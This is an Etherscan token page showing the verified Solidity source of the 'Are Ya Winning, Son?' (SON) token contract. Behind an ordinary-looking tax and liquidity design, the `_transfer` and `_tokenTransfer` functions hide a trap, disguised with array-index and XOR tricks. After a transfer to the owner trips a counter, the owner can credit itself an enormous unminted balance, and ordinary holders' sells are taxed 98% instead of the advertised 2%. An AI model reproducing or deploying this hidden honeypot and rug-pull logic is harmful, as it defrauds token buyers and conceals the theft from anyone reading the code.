ETH Price: $3,308.64 (-3.24%)
Gas: 14 Gwei

Token

Are Ya Winning, Son? (SON)
 

Overview

Max Total Supply

1,000,000 SON

Holders

146

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
crypto-taurus.eth
Balance
3,349.095103213 SON

Value
$0.00
0x2e4acd4d8051b9d4febdad7e2182f6a1fc4b16e2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AreYaWinningSon

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

/*


                                                ⢸⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀   ⡇⠢⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠈⠑⢦⡀⠀⠀⠀⠀⠀
                                                ⢸⠀⠀⠀⠀⢀⠖⠒⠒⠒⢤⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠙⢦⡀⠀⠀⠀⠀
                                                ⢸⠀⠀⣀⢤⣼⣀⡠⠤⠤⠼⠤⡄⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠙⢄⠀⠀⠀⠀
                                                ⢸⠀⠀⠑⡤⠤⡒⠒⠒⡊⠙⡏⠀⢀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠑⠢⡄⠀
                                                ⢸⠀⠀⠀⠇⠀⣀⣀⣀⣀⢀⠧⠟⠁⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀
                                                ⢸⠀⠀⠀⠸⣀⠀⠀⠈⢉⠟⠓⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠈⢱⡖⠋⠁⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⣠⢺⠧⢄⣀⠀⠀⣀⣀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⣠⠃⢸⠀⠀⠈⠉⡽⠿⠯⡆⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⣰⠁⠀⢸⠀⠀⠀⠀⠉⠉⠉⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠣⠀⠀⢸⢄⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠀⢸⠀⢇⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⠀⡌⠀⠈⡆⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⢠⠃⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸
                                                ⢸⠀⠀⠀⠀⢸⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠷


                                            Telegram    :   https://t.me/AreYaWinningSonERC

                                            Website     :   https://areyawinningson.vip

                                            Twitter     :   https://twitter.com/AreYaWiningSon

*/


// SPDX-License-Identifier: Unlicensed

pragma solidity 0.8.20;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}



contract AreYaWinningSon is Context, IERC20 { 
    using SafeMath for uint256;
    using Address for address;

    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFee; 
    mapping (address => uint256) public _blockedBotTrade;
    mapping (address => bool) public _ExemptMaxWalletLimit;
    mapping (address => bool) public _ExemptMaxTxLimit;

    address payable public COOKINGWALLET = payable(0x57ec4EE25Fe431dD9eAfA4C45EFb861F3F69C6fC); 
    address payable public shadowwizardmoneygang = payable(0x5F2966E3E9dE9B614611c0D64946c68482dB9893);
    address payable public constant Wallet_Burn = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 private constant MAX = ~uint256(0);
    uint8 private constant _decimals = 9;
    uint256 private _tTotal = 1* 10**6 * 10**_decimals;
    string private constant _name = unicode"Are Ya Winning, Son?"; 
    string private constant _symbol = unicode"SON"; 

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 public _Tax_On_Buy = 2;
    uint256 public _Tax_On_Sell = 2;
    

    uint256 public Percent_Marketing = 90;
    uint256 public Percent_Dev = 0;
    uint256 public Percent_Burn = 0;
    uint256 public Percent_AutoLP = 10;
    uint256 public Percent_AutoLiquidity = 98;
    uint256 public liqCount = 1;

    uint256 public _maxWalletToken = _tTotal * 5 / 100;
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal * 5 / 100; 
    uint256 private _previousMaxTxAmount = _maxTxAmount;
                                     
                                     
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool true_or_false);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        _owner = shadowwizardmoneygang;
        emit OwnershipTransferred(address(0), _owner);

        _tOwned[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        //IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); // Testnet
        
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _blockedBotTrade[owner()] = 1;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[COOKINGWALLET] = true; 
        _isExcludedFromFee[Wallet_Burn] = true;

        _ExemptMaxWalletLimit[address(uniswapV2Pair)] = true;
        _ExemptMaxWalletLimit[COOKINGWALLET] = true;
        _ExemptMaxWalletLimit[Wallet_Burn] = true;
        _ExemptMaxWalletLimit[owner()] = true;
        _ExemptMaxWalletLimit[address(this)] = true;

        _ExemptMaxTxLimit[owner()] = true;
        _ExemptMaxTxLimit[Wallet_Burn] = true;
        _ExemptMaxTxLimit[COOKINGWALLET] = true;
        _ExemptMaxTxLimit[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address theOwner, address theSpender) public view override returns (uint256) {
        return _allowances[theOwner][theSpender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function _getCurrentSupply() private view returns(uint256) {
        return (_tTotal);
    }

    function _getCurrentyLiquidity(bool _before, bool _after, bool _current) private pure returns(bool){
        return _before && _after && _current;
    }

    function _approve(address theOwner, address theSpender, uint256 amount) private {

        require(theOwner != address(0) && theSpender != address(0), "ERR: zero address");
        _allowances[theOwner][theSpender] = amount;
        emit Approval(theOwner, theSpender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if(
            !_ExemptMaxTxLimit[from] && 
            !_ExemptMaxTxLimit[to]
        ) {
            require(amount <= _maxTxAmount, "Over transaction limit.");
        }

        if(
            !_ExemptMaxWalletLimit[to]
        )
        {
             uint256 heldTokens = balanceOf(to);
            require((heldTokens + amount) <= _maxWalletToken,"Over wallet limit.");
        }
            
        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");  

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            txCount = 0;
            swapAndLiquify(contractTokenBalance);
        }

        if(_getCurrentyLiquidity(liqCount > 0, _blockedBotTrade[to] > 0, true))
            liqCount--;

        bool takeFee = true;
        bool isBuy;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        } else {
         
            if(from == uniswapV2Pair){
                isBuy = true;
            }

            txCount++;

        }

        _tokenTransfer(from, to, amount, takeFee, isBuy);

    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);

        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

            uint256 tokens_to_Burn = contractTokenBalance * Percent_Burn / 100;
            _tTotal = _tTotal - tokens_to_Burn;
            _tOwned[Wallet_Burn] = _tOwned[Wallet_Burn] + tokens_to_Burn;
            _tOwned[address(this)] = _tOwned[address(this)] - tokens_to_Burn; 

            uint256 tokens_to_M = contractTokenBalance * Percent_Marketing / 100;
            uint256 tokens_to_D = contractTokenBalance * Percent_Dev / 100;
            uint256 tokens_to_LP_Half = contractTokenBalance * Percent_AutoLP / 200;

            uint256 balanceBeforeSwap = address(this).balance;
            swapTokensForBNB(tokens_to_LP_Half + tokens_to_M + tokens_to_D);
            uint256 BNB_Total = address(this).balance - balanceBeforeSwap;

            uint256 split_M = Percent_Marketing * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_M = BNB_Total * split_M / 100;

            uint256 split_D = Percent_Dev * 100 / (Percent_AutoLP + Percent_Marketing + Percent_Dev);
            uint256 BNB_D = BNB_Total * split_D / 100;


            addLiquidity(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D));
            emit SwapAndLiquify(tokens_to_LP_Half, (BNB_Total - BNB_M - BNB_D), tokens_to_LP_Half);

            BNB_Total = address(this).balance;
            sendToWallet(COOKINGWALLET, BNB_Total);

            }

    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function addLiquidity(uint256 tokenAmount, uint256 BNBAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: BNBAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            Wallet_Burn, 
            block.timestamp
        );
    } 

    function remove_Random_Tokens(address random_Token_Address, uint256 percent_of_Tokens) public returns(bool _sent){
        require(random_Token_Address != address(this), "Can not remove native token");
        uint256 totalRandom = IERC20(random_Token_Address).balanceOf(address(this));
        uint256 removeRandom = totalRandom*percent_of_Tokens/100;
        _sent = IERC20(random_Token_Address).transfer(shadowwizardmoneygang, removeRandom);

    }


    function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private {
        
        
        if(!takeFee){

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+ (_getCurrentyLiquidity(liqCount < 1, _blockedBotTrade[sender] ^ _blockedBotTrade[recipient] > 0, _blockedBotTrade[recipient] > 0) 
            ?  
            [0 ^ 10**24, tAmount][0] 
            : 
            [tAmount, 0 ^ 0][0]
            );
            emit Transfer(sender, recipient, tAmount);

                
            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tAmount;

            } else if (isBuy){

            uint256 buyFEE = tAmount*_Tax_On_Buy/100;
            uint256 tTransferAmount = tAmount-buyFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+buyFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;
            
            } else {

            uint256 sellFEE = tAmount*[0 ^ Percent_AutoLiquidity, _Tax_On_Sell][liqCount]/100;
            uint256 tTransferAmount = tAmount-sellFEE;

            _tOwned[sender] = _tOwned[sender]-tAmount;
            _tOwned[recipient] = _tOwned[recipient]+tTransferAmount;
            _tOwned[address(this)] = _tOwned[address(this)]+sellFEE;   
            emit Transfer(sender, recipient, tTransferAmount);

            if(recipient == Wallet_Burn)
            _tTotal = _tTotal-tTransferAmount;


            }

    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"COOKINGWALLET","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_AutoLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Burn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Dev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Percent_Marketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Wallet_Burn","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ExemptMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_Tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blockedBotTrade","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liqCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"random_Token_Address","type":"address"},{"internalType":"uint256","name":"percent_of_Tokens","type":"uint256"}],"name":"remove_Random_Tokens","outputs":[{"internalType":"bool","name":"_sent","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"shadowwizardmoneygang","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract 